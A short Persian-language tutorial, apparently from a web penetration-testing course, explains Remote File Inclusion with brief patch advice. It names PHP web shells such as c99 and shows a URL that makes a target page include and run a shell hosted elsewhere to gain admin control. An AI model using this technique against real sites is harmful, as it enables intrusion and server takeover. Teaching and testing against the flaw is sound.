به نام خدا
با اموزش باگ rfi در دوره اموزش های تست نفوذ وب اپلیکیشن در خدمتتونیم
باگ RFI چیست ؟
باگ rfi جزو خطرناک ترین باگ ها محسوب میشه چون میشه با اون دسترسی سرور هم گرفت
این باگ توسط اشتباهات برنامه نویسی ایجاد میشود و مخفف Remote File Inclusion است که مستقیما باعث اجرای شل اسکریپت در سرور شود برای پچ کردن این باگ نیازه دستورات http:// , https:// در ورودی ها ممنوع بشه و از فایروال ها استفاده بشه
اموزش باگ RFI
برای پیدا کردن باگ باید ورودی های مشکوک رو مورد تست قرار بدین
و میتونین از شل های مختلفی مثل :c99 , alpha , c100 , minishell , … هم استفاده کنین
اول باید شل خودتون رو داخل یک هاست اپلود کین کنین ( باید پسوند فایل رو از پی اچ پی به .txt تغییر بدین )
به عنوان مثال به ادرس زیر توجه کنید
http://target.com/intex.php?page=index.php
در ورودی بالا وبسایت index رو به عنوان ورودی میگیره حالا اگر ما بجای index ادرس شل خودمون رو بدیم شل ما رو اجرا میکنه! و دسترسی ادمین از کل سایت یا سرور میگیریم
و url نهایی ما به شکل زیر میشه
http://target.com/index.php?page=http://host.com/myShell.txt
تیم ما هیچ گونه مسئولیتی در قبال سوء استفاده برخی افراد ندارد!
اگر سوال یا ابهامی بود در بخش نظرات مطرح کنید